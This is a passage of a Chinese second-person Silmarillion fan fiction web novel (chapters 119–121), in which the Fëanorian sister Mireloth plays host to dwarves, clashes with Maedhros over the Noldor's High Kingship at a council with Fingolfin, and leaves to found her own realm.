虽然你说的是精灵语,但那个矮人也不傻,他瞧了一眼周围放下武器的伙伴,长叹一口气,用商量的口气对你说:“你们到底想要什么?我们就只是来这里开矿的矮人而已,恐怕无法给你们想要的东西。” 听着,你稍微卸下一点手上的力道,“请放心,你是我们的客人,我对你们没有恶意。” 这句话你是用矮人语说的。 第119章 第119章迈兹洛斯抬起头,“是…… 你说话的声音很微弱,你可以肯定只有那个还在拼命反抗的矮人听见了你说的话,因为你看见他的动作一僵,目光诧异地看向你,似乎是在惊讶于这里居然还有精灵会说矮人的语言,你顺势对他礼貌地笑了一下,然后将他从地上拉起来,甚至还递给他一块手帕擦拭脸上的尘土,但那个矮人不屑地冷哼一声,根本不稀罕你给的手帕,要不是周围还有精灵盯着,估计他就要直接拍开你的手了。 “难道你们就是这么对待客人的吗?”他用矮人语没好气地质问道,无奈之下你只能暂时充当精灵和矮人之间的翻译,唉,谁让在这个时代通用语还没有出现呢,不只是通用语,就连人类都还没有进入精灵的视野内。 迈兹洛斯暂时没有询问你为什么会矮人的语言,他说:“谁让你们在边境附近鬼鬼祟祟的?” 那个矮人看向你,示意你把这句话给翻译了,你翻译的同时进行了一些修饰,语气没有那么咄咄逼人,“他担心你们在边境遇到危险。” 矮人半信半疑地盯着迈兹洛斯看,似乎不太相信你的说辞,但是看你的表情那么真诚,他就说:“那这也不是你们关押我们的理由。” “我实在是很抱歉,不如这样,您几位先在这里做客几天,这就当是我们的赔礼道歉了。”你看似在和他们商量,但实际上根本没有给他们选择的余地,那个名为奥特矮人勉强接受你的邀请,他又转过身对着他的下属说了几句话,他们之间的闲聊你都没有翻译,玛格洛尔在你耳边轻声问道:“他们都在说什么?” “他们在感谢自己居然能够遇到这么好心的精灵。”你胡诌起来眼睛都不带眨一下的,玛格洛尔奇怪地说:“真的是这样吗?”虽然他不太懂矮人的语言,但肢体语言还有表情他是读得懂的,看他们那副吹胡子瞪眼的样子就知道他们准没说什么好话。 玛格洛尔抿抿唇,“弥尔洛斯你怎么连我们都骗啊?” 你笑了起来,难道你骗他们的次数还少吗? 奥特其他矮人交谈一番后又转过身对你说:“我们不会在这里停留太久,毕竟我们身上还有任务。” “那就请参加今晚的宴会吧,好让我们表达自己的歉意。”在宴会轻松的氛围下你想要和奥特套近乎可谓是轻而易举的事情,后者想了想,他又指了指你身边的迈兹洛斯和玛格洛尔,“我可没见到他们脸上的歉意。” 你耸耸肩,“他们生来就是这样的,请不要介意。”你对待他们的态度温和有礼,就连矮人都挑不出什么错来,到最后他们还是答应了你的邀请,至于迈兹洛斯和玛格洛尔那边,你只说:“这次确实是我们行事鲁莽了,我邀请他们参加今晚的宴会算是道歉。” 迈兹洛斯可不这么认为,“但他们一开始行迹诡异,我们的巡逻小队会怀疑也是情理之中的事情。” 玛格洛尔倒是能够明白你的用意,他说:“我想弥尔洛斯只是不希望我们再结仇吧,毕竟多一个朋友日后还能多一条退路。” 好吧,迈兹洛斯得承认你们的想法是正确而周到的,刚才可能真的是他反应过度了吧。 尽管身体上的伤痛已经恢复,但魔苟斯对他的折磨还是在他心里留下一片挥之不去的阴影,任何一点风吹草动就会令他担心不已,他这种状态很不对,就连他自己也意识到了这一点,但他也不知道该如何调整,他的第一想法就是隐藏起来,至少不能让其他精灵知道,免得他们内心不安。 在回到宫殿的路上迈兹洛斯长久地没说话,你和玛格洛尔时不时侧过头去看他的侧影,发现他紧抿嘴唇,不知道在想什么,等快到宫殿的时候你忽然拉住迈兹洛斯的手,你用眼神示意玛格洛尔先带着那群矮人去宴会厅,自己则需要和迈兹洛斯好好谈一谈,玛格洛尔顿时会意,领着不明所以的矮人朝着宴会厅走去。 他们的身影消失在长廊尽头,你这才出声问迈兹洛斯:“你怎么了?” “没什么。” 你微微眯起眼睛,严肃地叫了一声他的名字,“迈兹洛斯。”只有你在非常严肃的时候才会直呼他的大名,迈兹洛斯也深知这一点,他垂下眼帘,“我只是在想,我可能不是一个优秀的领导者。” 那确实,不过虽然他不怎么优秀,但至少也还算合格,你在心里默默地补充一句。 “就因为刚才的事情吗?你以前可不是这样的。” “是啊……以前的我到底是怎样的呢?我都快要想不起来了。”究竟是想不起来还是刻意避免回忆呢?你更倾向于后者。 “那就别想了。”唉,你实在是不擅长安慰人类又或者是精灵,“至少在其他费诺里安看来你很可靠。” “但我也很害怕某天走错一步,他们都会因为我的错误而付出代价。”迈兹洛斯握着你的手,他微微俯身,头靠在你的肩膀上,“弥尔洛斯,我们的未来究竟会通往何方呢?” 迈兹洛斯的柔软长发落在你的肩头,有几缕还蹭着你的脖颈,你说:“这个问题现在不会有答案的,还不如专注当下呢。” 过了一会,迈兹洛斯这才直起身,“我之前还因为你贸然来到中土而难过,但现在我却又在庆幸你还陪伴在我身边。”至少他在你面前得以喘息。 你摊手,“那你倒是和凯勒巩一样善变了,还真是亲兄弟啊。” 迈兹洛斯配合地笑了一下,接着又牵着你的手走向宴会厅,精灵的办事效率很高,不多时宴会厅里就弥漫着食物的香味,当然最吸引你们注意力的莫过于矮人的歌声了,他们也丝毫不在乎自己现在正身处精灵的领地,大大咧咧地唱着矮人的歌曲,那曲调轻快明亮,歌词朗朗上口,再搭配他们的舞蹈,引得周围的精灵脸上也都浮现出笑容。 你听见迈兹洛斯在你耳边嘟哝一声,“这些矮人比我想象的还要活泼。” 的确,那些个矮人几杯酒下肚,态度相较之前软化了许多,你主动和他们搭话他们也能笑着回答,在你有意无意地引导下你顺利地从奥特嘴里得到你想要的信息,这位奥特属于矮人王室的一员,此次带着下属出来就是为了寻找新的矿洞,在机缘巧合之下就恰好来到了这块精灵领地的边境。 “那个矿洞你们之前难道都没有发现吗?”奥特也不知道喝了几杯酒,脸颊都变得红彤彤的,但是眼神依旧很清亮,“你们这是在暴殄天物。”他们找到的那个矿洞其实诺多精灵早就去看过了,只是里面的矿物原石品质不怎么让精灵满意,所以才没有继续开采这个矿洞的,当然,你在这位矮人王子面前可不会那么说,因为这不是明摆着嘲讽他们的鉴赏水平不行么。 你浅浅地笑了一下,“精灵也不是无所不能的,我想精灵和矮人都有自己擅长的东西。”你这话说得很中肯,奥特又喝完了一杯酒,胡 子上还沾着些许泡沫,他毫不介意地抬手擦去,然后点点头,“你说得对,我以前还觉得精灵都自认为高人一等,但现在看来也不是所有的精灵就那么高傲,你是我见过最谦虚的精灵了。” 那他可能本身就没见过多少精灵吧,所以才会把你想得那么简单,不过这位矮人王子看上去年纪不大,会那么天真倒也正常,你仍旧维持着笑意,提起北方的安格班,不仅是精灵,就连矮人也深受其害,当你说起魔苟斯的半兽人军队的时候奥特就义愤填膺地说:“那些怪物差点毁了我们的家园!好在我和我的族人齐心协力将他们驱逐出去了。”但这不妨碍奥特格外憎恨半兽人以及魔苟斯。 正所谓敌人的敌人就是伙伴,有时候共同的憎恨对象也能拉近关系,你也说到魔苟斯对精灵犯下的暴行,“当初是他杀死了我们诺多的至高王,我们剩下的诺多精灵都希望为我们的陛下报仇。” “想不到你也是一位勇敢的精灵。” 你朝着奥特举起酒杯,“我在见到您的第一面就知道您也是一位勇敢的矮人。” 奥特哈哈大笑着喝完一杯酒又添满,他说:“虽然你的那几个哥哥不怎么讨喜,但你却很适合成为矮人的朋友!” “这也是我的荣幸。” 这边的你和奥特相谈甚欢,姗姗来迟的凯勒巩看见你聊得正开心,他奇怪地说:“弥尔洛斯在和什么东西聊天?” 玛格洛尔提醒道:“还请注意你的说辞,这是矮人,如果可以的话,日后或许还能成为我们的朋友。” 凯勒巩听着,看向那个笑容满面的奥特,他扯了扯嘴角,这些个矮人看上去就不怎么样,“他们怎么成为我们的朋友?我可不能接受。” 玛格洛尔叹了一口气,“这不是你接不接受的事情,而是我们以后也会需要他们的帮助的。” 精灵什么时候得要沦落到需要矮人的帮助了?凯勒巩的骄傲和自尊心可不会允许这种事情发生,他说:“所以你们就让弥尔洛斯去交涉吗?让她去讨好那群矮人?” 也不知道凯勒巩是怎么想的,在他看来这更像是对你的羞辱,如果你能知道他的内心想法大概会忍不住对他翻个白眼的吧。 玛格洛尔眼疾手快地拉住凯勒巩的胳膊,免得他又闹出什么事情来,被拉住的凯勒巩还颇为不满地反问:“你干嘛拉住我啊?” 他为什么拉住他?这原因不是清晰可见的吗?要是放任他上前,估计你之前的努力都会白费,没准矮人还会记恨他们这群诺多精灵的呢,所以无论怎么想他都不能让凯勒巩去打扰你。 “凯勒巩。”玛格洛尔冷着一张脸呼唤凯勒巩的名字,虽说玛格洛尔平日里温和有礼,但凯勒巩知道对方要是真的生气了,那就是比迈兹洛斯还要可怕的存在,因为迈兹洛斯顶多就是训他一顿,可玛格洛尔是不会那么轻易原谅他的,因此凯勒巩一下子冷静下来,他解释道:“好了,我知道了总行了吧?” 玛格洛尔不怎么相信凯勒巩的说辞,斜睨他一眼,“真的吗?” “真的啊,谁不知道惹怒你的下场是什么啊!”凯勒巩嚷嚷着,在他的注视下玛格洛尔这才松开手。 虽然凯勒巩真的不去打扰你了,但他还在玛格洛尔身边碎碎念个不停,“这不公平,弥尔洛斯居然能对矮人笑得那么开心,她平日里却吝啬得一个笑容都不给我。” 那他就不能想一想他平日里都做了什么吗,每天除了完成自己的工作,大部分时间都黏在你身边,就跟一条金色小尾巴一样,而且你但凡和谁多说几句话就会被他在背地里评头论足一番,换做是玛格洛尔也不会对他有什么好脸色看的。 玛格洛尔凉飕飕地说:“这原因不是显而易见的吗?” 什么显而易见的原因?凯勒巩“啊?”了一声,迷茫地看向玛格洛尔,后者笑而不语,凯勒巩总觉得玛格洛尔的笑容里带着几分阴阳怪气。 好不容易等你和奥特聊完天了,凯勒巩就迫不及待地跑到你身边,“你们聊完了没啊?” 奥特奇怪地看了凯勒巩一眼,用矮人语问道:“这是你的丈夫?” 你撇撇嘴,“不,这是我哥哥。” “加上前面那两个,你原来有三个哥哥啊。”奥特惊讶道,但更让他震惊的事情还在后面,你摇摇头,然后说:“不是啊,我有七个哥哥。” “啊?噢、噢……这可真是,呃,非常热闹的家族啊。”奥特干巴巴地说,在他的印象里精灵好像就没有生过那么多的孩子,果然不光你是个特殊的精灵,就连你的双亲也是非常特殊的精灵。 凯勒巩瞥了奥特一眼,没有主动打招呼但至少也没开口讽刺,你对着凯勒巩介绍道:“这是奥特,矮人王子,他们家族非常擅长锻造。” 你的这句话让在场的这位矮人以及精灵神色各异,奥特有些骄傲地扬起下巴,至于凯勒巩,他可不会因为你的一句话就对矮人有所改观,或者说他仍旧不把矮人放在眼里,但碍于你在场,他也只能表情僵硬地对着奥特点点头,“是么,那真希望我能有机会见识见识你们的锻造技术。” 奥特没听出他的话语里的阴阳怪气,他说:“日后肯定会有机会的。” 凯勒巩想你递去一个眼神,然后拉着你从这个矮人身边离开,你临走前还不忘和奥特说:“请允许我失陪一下。” 奥特表示理解,你跟着凯勒巩离开这里,走到附近的露天阳台上,然后你干脆利落地抽回自己的手,“你就那么讨厌矮人吗?他们以后说不定能派上大用场。” “但你也没必要那么做。”听他这话你和矮人打交道好像是一件伤自尊的事情,你瞥了他一眼,“你想再和我吵一架吗?我看你是真的一点记性都不长啊。” “你这是对哥哥说话的态度吗?”凯勒巩双手环胸,虽然这么说有些奇怪,但是随着你的年岁增长,他和你对话的时候总是会被你压一头,哪怕他尽可能地想要夺回主导权,可最后都是以失败告终,难道真的是他太幼稚了吗?又或者是你太成熟了呢? “别在这时候搬出哥哥的身份压我。”你一针见血地指出凯勒巩就是看自己不占理反而从其他角度试图说服你。 凯勒巩沉默了很久,最后他奇怪地问道:“到底是从什么时候开始我们一聊天就会发生争吵的呢?我们以前可不是这样的。” 那是因为你以前压根就是懒得与他争论,再加之过去的回忆总是会被无意识地美化,所以在他看来你们以前的相处非常和睦,更加映衬得现在的相处模式很古怪,你摊手:“很可能是因为你没什么长进吧,而且你总是试图插手我的事情,我的忍耐也是有限的。” 凯勒巩顺着你的话语思考,好吧,确实可能是他的问题,他低声道歉,“抱歉,很多事情都发生了改变,就连我也是,我肯定不是个合格的哥哥。” 他和迈兹洛斯是约好了同一天在你面前装可怜吗?前脚迈兹洛斯刚刚说自己不是个优秀的领导者,后脚他就说自己不是个合格的哥哥,要不然还是他们俩凑一块聊天吧,没准还能互相宽慰对方呢。 “那确实。”你直言不讳,凯勒巩惊讶地抬起头,嘴唇动了动,但是没说话,因为他太惊讶了,他还以为你会替他辩解的,你会说些什么“你是个合格的哥哥不要妄自菲薄了”这类话,但没成想你居然想也不想地就直接应了下来? “你看我说实话了你就又不高兴了。”你说道,所以凯勒巩的心思可真是拐弯抹角别别扭扭的。 “弥尔洛斯——你们怎么在这里啊?”阿姆拉斯忽然出现在你们身后,他的双眼亮晶晶的,笑嘻嘻地说:“阿姆罗德在和矮人比拼酒量呢,你们不去看看吗?我可是押了不少赌注的。” 总算是能换个话题了,你问阿姆拉斯,“你赌谁赢?” “这还用想吗,当然是阿姆罗德啊。”阿姆拉斯对着你招招手,他身后的长桌 被看热闹的精灵围得水泄不通,时不时发出一两声起哄,“快去看看吧。” 你转身离开阳台,阿姆拉斯还问你要赌谁赢,你说:“嗯……那就奥特吧,你赌多少我就押多少。” 阿姆拉斯不太理解,他皱了皱眉,“你觉得阿姆罗德会输吗?” 不知道从哪里冒出来的卡兰希尔说:“赢不赢的不重要,这主要是为了减少损失,因为这样一来无论是哪一方赢了,我们的赌注至少不会全都打水漂。” 阿姆拉斯似懂非懂,果然卡兰希尔就是知道很多这类知识,他耸耸肩,“反正我觉得阿姆罗德会赢。” 你们站在外围观看奥特和阿姆罗德的拼酒比赛,阿姆拉斯看得太入神了,你和卡兰希尔就只把这个当成一场比赛仅此而已,你们甚至还在旁边轻松地聊着天,卡兰希尔说:“凯勒巩又惹你生气了?他真是从来都没想过反思反思自己的问题。” “如果他能反思,那他就不是凯勒巩了。”你半开玩笑地说。 被围在中心的奥特喝酒喝得太多,整个脑袋都发红了,而反观坐在他对面的阿姆罗德居然还笑得出来,甚至可以说是笑容灿烂,他漫不经心地拿起酒杯,对着挑战他的矮人敬一杯,“看来你今晚能够有个美梦了。” “嗝——什么,美梦——我还能继续、喝呢!”奥特说到一半就直挺挺地倒了下去,只听见咚——地一声,他彻底不省人事,阿姆拉斯欢呼着,“是阿姆罗德赢啦!好耶!是阿姆罗德赢啦!” 你和卡兰希尔交换了一个眼神,你们都从对方眼里看到了无奈的笑意。 在送走这群矮人客人以后平淡的日子又持续了一段时间,直到芬国昐的到来打破了这份平静,你也久违地感受到了那平静表面下的暗流涌动,为了好好招待芬国昐以及他的后代和下属,你们在收到信的当天就开始着手准备宴会的事情,当然,大部分工作都是由玛格洛尔来负责的,你需要做的就是查看宴会布置的进度,再在细节上精益求精。 伴随着那一天的靠近,你的内心居然产生了几分紧张,当然,更多的是激动,在芬国昐到访的前一个晚上,你来到迈兹洛斯的书房,你自顾自地坐在他的办公桌对面,开门见山地问:“明天你是不是要宣布什么事情?” 迈兹洛斯抬起头,“是谁告诉你的?” “我猜的。” 第120章 第120章“那你还要走吗?不走…… 迈兹洛斯不怎么相信你说的话,他放下手里的羽毛笔,“是有谁和你说了什么吗?” “没有,这都是我自己推测出来的。”你背靠着椅背,那姿态懒洋洋的,仿佛只是在和迈兹洛斯进行一场寻常的对话,迈兹洛斯有些担心地看向你,只听见你漫不经心地说:“如果你觉得自己不能胜任至高王这个位置,并且打算把王冠交出去的话,我的建议是不如交给我吧。” 你说这话的语气实在是太平淡了,就好像在谈论明天的下午茶点心一样,可你们现在讨论的可不是什么下午茶点心而是诺多至高王的王冠,迈兹洛斯不免愣了一下,他迎上你认真的目光,此刻再也无法用你是在开玩笑来为你开脱,他说:“你为什么会这么想?” “我为什么不能这么想呢?倘若今天提出这个要求的是你的任何一个弟弟恐怕你都不会那么问吧?”你的手肘撑着椅子扶手,饶有兴致地反向观察迈兹洛斯,观察他脸上的细微表情变化。 “我也会问的。”迈兹洛斯自认为自己对妹妹还有弟弟都是一视同仁的。 “不,虽然你嘴上是这么说的,但你的心里恐怕不是那么想的,你只会觉得我的要求匪夷所思,因为在此之前都没有先例,就好像凯勒巩听到我说想要成为领主的时候他也不能理解一样,看吧,就连让我成为领主你们都无法接受。”说着,你摊手,“我不否认你们对我的爱,但这份爱也是有局限性的。” 迈兹洛斯长久地沉默着,他说:“你确实是个优秀的精灵,而且很擅长管理,但是……” “但我还是不能同意你的要求。”迈兹洛斯叹了一口气,“成为诺多至高王意味着你会成为魔苟斯的眼中钉,而且无论是我们的祖父还是我们的父亲,他们的结局都是有目共睹的,这个位置或许对于我们来说就是一个诅咒。” “我倒是不这么觉得。”你轻飘飘地说,显然没把迈兹洛斯说的话放在心上,后者他诚恳地询问:“你那么做的真实目的到底是什么呢?” 你移开视线,“我在寻找一个答案,也在寻求最终的自由。” 迈兹洛斯还是不明白,但他能够确定你心意已决,无论谁都无法改变你的决定,他主动握住你的手,“如果我拒绝呢?” 你想了一下,倒不至于直接杀了他,毕竟日后抗击魔苟斯他还派的上用场,所以你大概会离开这片领地吧,你反握住迈兹洛斯的手腕,他的右手伤势还没完全恢复,手劲没有另外一只手那么大,你说:“那也不会怎样。” 迈兹洛斯抿抿唇,“弥尔洛斯……”他有种不太好的预感。 “你真的爱我们吗?”迈兹洛斯冷不丁地问道,他很少感受到你对其他哥哥的爱意,之前他还能用你性格内敛来解释,可是现在,你谈论其他费诺里安的神色冷静而平淡,仿佛在讨论什么毫不相关的事情。 “当然。”但凡他了解过你在第一个副本的所作所为就会发现你对待他们的态度可以用温柔来形容,“可这是问题的关键吗?” “这对我……对于我们来说都很重要。” 你看他的样子一时之间也拿不准他是否会向你妥协,你说:“你会让我失望吗?” 迈兹洛斯皱起眉,“我不知道。” 这个话题有始无终,看来你只能等到明天了,在明天的会议上他总该表明自己的态度了吧。 当天晚上你没怎么睡好,你的睡梦中混杂着前两个副本的画面,那些悲伤的,愤怒的情绪充斥在你的梦境里,等第二天醒来的时候你居然少见地感受到了几分疲惫,你揉了揉太阳穴,换上一身白色长袍,芬国昐的队伍在临近中午时分抵达,你跟着其他费诺里安前去迎接他们的到来。 芬国昐走在最前头,他先是向迈兹洛斯点头示意,又说:“迈兹洛斯,我们许久未见了。” 看芬国昐的态度,估计今天的谈话会顺利许多,你注视着他们对话的侧影,站在芬国昐后面队伍中的格洛芬德尔一眼就看见了你,他小幅度地对你挥挥手,你听见站在你身边的凯勒巩冷哼一声,“他就跟个孔雀似的一见到你就开屏,生怕你瞧不见他是吧。” 你扯了扯嘴角,但如果要论花里胡哨的程度,凯勒巩可远在格洛芬德尔之上,你用胳膊肘捅了捅凯勒巩,示意他还是消停一会吧。 凯勒巩更加委屈了,“他一来你就这么对我,他就不该来这里的。” “你今天的打扮可比他精致多了,所以你还是少说两句话吧。” 凯勒巩对你的夸奖非常受用,他得意洋洋地笑着说:“那确实,还是我的打扮更加美丽。” 果然夸他两句他的尾巴就都要翘起来了,不远处的格洛芬德尔还在看着你,你对他礼貌地笑了笑,后者眨了几下眼睛,惹得旁边的阿瑞蒂尔笑个不停,阿瑞蒂尔说:“格洛芬德尔,你该不会要脸红了吧?” “什么脸红?”格洛芬德尔说话都磕磕巴巴的,阿瑞蒂尔有意控制自己的笑声,她说:“弥尔洛斯只是瞧你一眼而已,你就表现得那么明显。” 格洛芬德尔说:“难道你再次见到她不高兴吗?” “高兴啊,但你可得小心她身边的哥哥,嗯……就比如说现在凯勒巩肯定看你不顺眼。”虽说阿瑞蒂尔和凯勒巩的关系很好,但不妨碍她提醒格洛芬德尔小心着 点,毕竟凯勒巩确实不是什么心胸宽广的精灵。 听到阿瑞蒂尔那么说,格洛芬德尔便有意地观察了凯勒巩一会,没成想对方没好气地朝他翻了个白眼。 好吧,他现在算是能够感受到对方的厌烦了。 另外一边的芬国昐和迈兹洛斯在简单的交谈后就领着芬国昐还有他的下属前往会议室,你没有马上跟上去,因为阿瑞蒂尔和加拉德瑞尔走到了你身边,她们俩脸上都带着笑容,阿瑞蒂尔抱住你的胳膊,“总算是见面了,我还以为还得再等一阵子才能和你见面呢。” 你说:“凯勒巩之前一直在念叨着你呢。” 阿瑞蒂尔恍然大悟,嘴里嘟哝着“我说我怎么之前一直在打喷嚏呢,原来是他在念叨我啊”。 站在不远处的图尔巩呼唤阿瑞蒂尔的名字,阿瑞蒂尔耸耸肩,“那我们之后会议室见?” “嗯,到时候见。” 在送走阿瑞蒂尔以后就只剩下你和加拉德瑞尔了,先前你还给加拉德瑞尔写了好几封信,在信中就有提到过关于如何让她成为领主的计划,现在趁着周围的精灵都散开了,你便主动提起这个话题,“我有很大的可能会离开这里。” 对此加拉德瑞尔没觉得有多奇怪,她唯一感到惊讶的时候大概就是你在和她说起自己想要成为至高王的野心时,自那之后她想无论你说些什么她大概都不会感到惊讶的吧。 她说:“你想好要去哪里了吗?”加拉德瑞尔也想像你一样离开自己的兄弟拥有一片自己的领土。 “如果可以的话,我们的领土相邻是最好的。” 加拉德瑞尔听出你的言外之意,她垂下眼帘,“你认为他们会同意吗?” “我不在乎他们是怎么想的,真正重要的是我们怎么想的。”你与加拉德瑞尔四目相对,你从她湛蓝的眼瞳里看到自己的倒影,过了几秒她才说:“你会成为一个前所未有的特例。” 这更像是夸奖,你对此不以为意,“当特例多了,就会变成惯例。”无论是这个世界还是你以前生活的那个世界不都是这么个道理么。 “如果能够和你的领地相邻,我想这也是我的荣幸。”加拉德瑞尔笑了起来。 你们又聊了一会,等迈兹洛斯的下属来催促你们去会议室了你们这才慢悠悠地走向会议室,一走进去基本上重要的精灵都到齐了,你的位置在迈兹洛斯身边,他向你招招手示意你坐在他身边,你越过其他精灵在那个空位置上坐下,加拉德瑞尔在你斜对角的位置坐下,等你们都落座了,会议室的门也随之关上。 会议正式开始了。 迈兹洛斯先是代表费艾诺表达歉意,对先前焚烧白船的事情无比抱歉,“我很抱歉,为了表示歉意如果你们日后遇到什么困难我们都会伸出援手的。” 芬国昐惊讶于迈兹洛斯的蜕变,他的性格变得成熟稳重许多,想必也是经历了很多事情才造就了现在的他,芬国昐说:“你们的歉意我心领了,但因为你们的所作所为而死去的子民并不会因为你的三两句话就回到我们身边。” 迈兹洛斯低着头,芬国昐身边的下属本就对这些费诺里安心存怨怼,一看他们的领导者这么说,便纷纷交头接耳。 “你们犯下的罪孽是无法被原谅的。” “迟来的道歉又有什么用呢?” 这样的质疑声一道接着一道,直到你忽然出声,“但如果我们此时发生内讧,甚至针锋相对,你们不妨想想真正得利的是谁呢?” 你的话语让现场顿时陷入死寂,的确,你说得很有道理,理智告诉他们得要团结起来不让魔苟斯有可趁之机,但感情上却又不能原谅这些费诺里安犯的错。 假如你是当成火烧白船的一员他们兴许还能反驳你,可问题恰恰在于你的身份很复杂,你确实是一位费诺里安,但你同时也因为其他费诺里安的行为经历了磨难,而且在横渡冰川的时候你也帮助了许多别的精灵,所以对于你说的话,其他精灵一时之间都不知道该如何反驳了,他们纷纷陷入沉默。 你环视四周,看到没有精灵反驳你便继续说:“也许我那么说在场的各位肯定心里也会觉得不满,可是一旦让魔苟斯找到我们的弱点,那后果不堪设想,我们历经千辛万苦来到这里决不能就这样死在魔苟斯手上。” “但是魔苟斯现在就一直躲在安格班里,也不见他有什么动作,或许他感到了害怕呢?毕竟……是他先做了错事的。”芬国昐的某个下属说,坐在他身边的精灵也都点头表示赞同。 “我以为您们经历那么多事情之后不会那么天真的,还是说您们只是在逃避面对残酷的现实呢?”你冷着一张脸说,“倘若魔苟斯真的会收手,那他又为何还要建造自己的堡垒呢?” 你的连番质问问得那个精灵哑口无言,芬国昐说:“弥尔洛斯我能理解你着急的心情。” 但愿他是真的能够理解吧,而不是表面上和你说这些套话,你坐回自己的位置,用眼神示意芬国昐继续往下说,后者说:“我也希望我们能够好好相处,暂时忘却过去的痛苦。” 既然芬国昐都这么说,刚才还持反对意见的下属也只能站在他这边,现场的气氛看似朝着平和的方向发展,直到迈兹洛斯宣布了一个消息,他说:“我想,我并不适合担任诺多的至高王。” 他终于要说这件事了么,你听着,表情若有所思,坐在你斜对面的加拉德瑞尔看了眼你的侧影,只见你挺直背脊,全神贯注地听迈兹洛斯的后半句话。 迈兹洛斯的一句话轻而易举地吸引了在场所有精灵的注意力,因为听他的意思是要将至高王的王冠交到其他精灵手里。 迈兹洛斯站起身,“我愿将至高王的王冠交给第二家族。” 还没等其他精灵反应过来,你就也站起来,平静地说:“我反对。” 这一系列事情发生得太快了,以至于周围的精灵大部分都一头雾水,你接着又说:“如果你是为了表示歉意,那么你还有不少方法可以弥补自己犯下的错误,而且你那么做有问过其他费诺里安的意见吗?你觉得我们的意见不重要吗?还是你认为你的意志凌驾于我们之上呢?” “弥尔洛斯。”迈兹洛斯又叫了一声你的名字,你更加不耐烦了,你说:“我又有什么说错的地方吗?” 迈兹洛斯说:“如果不是芬巩当初前来解救我——” “你难道忘了还有我和加拉德瑞尔吗?看来你都没有把我们放在眼里是么。” 坐在你另外一边的玛格洛尔牵住你的手腕,无声地示意你不 要再继续说下去了,但你抽回手,直接忽略了他的暗示,你又说:“如果你自愿放弃至高王的位置,那么按理来说也应该让给你的妹妹或者是弟弟。” 凯勒巩从未见过如此气势汹汹的你,这和他印象中的你截然不同,就好像他从来都没有真正了解过你一样,他不由得愣住了,迈兹洛斯也没想到你的反应如此剧烈,他还想解释什么,但你已经朝着会议室的出口走去,你在门口站定脚步回过头,对着直视迈兹洛斯的双眼,“这个位置既然你不要,那就该给我才对。” 你微微皱起眉,神色凝重眼神坚定,那一瞬间芬国昐甚至误把你当成了他的兄长费艾诺,因为你们动怒的模样简直如出一辙。 “弥尔洛斯!我的决定是经过深思熟虑的!” “我的也是。”你的耐心都要被耗尽了,“还有你别用这命令的口吻向我下达指令,我不是你的下属,永远都不会是。” 迈兹洛斯深吸一口气,也不知是因为惊讶还是哀伤,他的呼吸变得极其不规律,眼看着你就要走了,他脱口而出,“你要走了?这次你又要去哪里?” “去开拓属于我的领地。”你说着,回过头推开门离开,你才走出几步路就听见身后传来的脚步声,步履匆匆,你的胳膊被谁抓住,你眼角的余光扫过一看,原来是玛格洛尔,他的声音在你耳边响起,“你为什么要那么做?留在这里不好吗?” “你以前问过我真正想要的东西是什么,那这就是我的回答,看来你们也不是那么慷慨的精灵,我想要的东西你们也不会给我。”你轻描淡写地说。 玛格洛尔握住你胳膊的手收紧,他真的很害怕你会离开,“除了这个……而且成为至高王没有你想的那么简单。” “到底简单不简单不都是尝试之后才知道的吗?可你们现在甚至连尝试的机会都吝于给我。”你的神色变得冰冷,“在我说出别的重话之前,还是先松手吧。” “弥尔洛斯,你真的在乎我们吗?”玛格洛尔没有松开手,他问的问题迈兹洛斯也问过,他们果然是亲兄弟。 “当然在乎,如果我不在乎,我大可以从一开始就架空你们的权力,只要你们不听话就全都送你们去见曼督斯,可我没有那么做,这难道不是在乎吗?如果我不喜欢你们,你们甚至都活不过今天。”你说的都是实话,你完全可以利用他们对你的信任从中作梗,但你并没有那么做,这已经是你最大限度的温柔了,可他们却那么得寸进尺。 玛格洛尔的声音低落,“我很抱歉。” 他又在为什么而道歉呢?你不解地问:“你有什么好道歉的?” “我只是在想如果我之前提前察觉到你的内心想法就好了。”玛格洛尔始终没有松开手,他总觉得一旦松开手,你就再也回不来了。 你伸出手触碰他的侧脸,轻轻地说:“你在流泪啊。” 他的眼泪划过你的掌心,触感湿润,你从他手里抽回胳膊,“只要你们的大哥想明白了做出正确选择我们仍旧是相亲相爱的兄妹。” 你巧妙地将矛盾转移到迈兹洛斯身上,你想,现如今闹出这么一通来,其他费诺里安估计也会劝说迈兹洛斯,而你需要做的无非就是在这段时间里发展自己的势力建立自己的领地,至于剩下的,那就交给其他的费诺里安了。 原本还热闹万分的会议室在你走后瞬间变得无比安静,迈兹洛斯没说话,因此在场其他精灵也没有贸然开口,他们你看看我我看看你的,通过眼神交流信息,谁也没出声,最后凯勒巩忍受不了这种气氛,他更担心你一走了之,于是唰的一下站起来小跑着冲出会议室。 他来到会议室外的长廊上看见正在和玛格洛尔谈话的你,他急匆匆地赶到你面前,着急地说:“你别走,刚才迈兹洛斯说话不经思考,他肯定也不想你离开的。” 他们兄弟说的话怎么都差不多啊,你说:“这话玛格洛尔都已经和我说过了,现在你还要再说一遍吗?” 早知道他就赶在玛格洛尔之前冲出来了,凯勒巩心想,他又说:“那你还要走吗?不走行不行?” 看他那副样子不知道的还以为你是去送死呢,你说:“我只是去开拓我的领地而已,又不是和你们老死不相往来了。” 凯勒巩急得脸颊都泛红了,“但是你,可是,唉这——”说了半天愣是没说出一句完整的话。 玛格洛尔难得好心地替凯勒巩翻译,他说:“他的意思是你这样会很危险,你孤身在外很容易被魔苟斯盯上的。” 什么叫做孤身在外啊,原来在他们的想象中你这是独自外出冒险吗?你纠正道:“不是孤身外出,我会带着一批愿意跟随我的精灵去往另外一块土地,嗯……就相当于一位精灵领主。” 当然,你的最终目的可不仅限于当一个领主,你并不满足于此。 玛格洛尔和凯勒巩对视一眼,玛格洛尔说:“那请允许我来帮助你吧。” 你挑起一边的眉,“你确定是帮助而不是监视吗?而且你也别避重就轻,最主要的矛盾还没有解决呢,等迈兹洛斯什么时候改变自己的主意了再说吧。”你又把话题给重新绕回到迈兹洛斯身上。 凯勒巩当即就说:“那你放心吧,我肯定会和迈兹洛斯说的,只是……”他也不能确定自己能否说服迈兹洛斯,毕竟对方的性格倔强起来也是无论谁都不能改变的。 120-130 第121章 第121章“我叫埃欧尔。”…… 到最后无论是凯勒巩还是玛格洛尔都没能拦住你,因为你本就打算借此机会离开这里,现在正好顺水推舟实行自己的计划,没过几天你就带着愿意跟随你的诺多精灵离开这片领地,临走前迈兹洛斯还想对你说些什么,但他只是长久地凝望着你,直到最后也只是告诉你注意安全。 你还算配合地抱住他,在他耳边轻轻地说:“等你什么时候改变主意了就写信给我吧。” 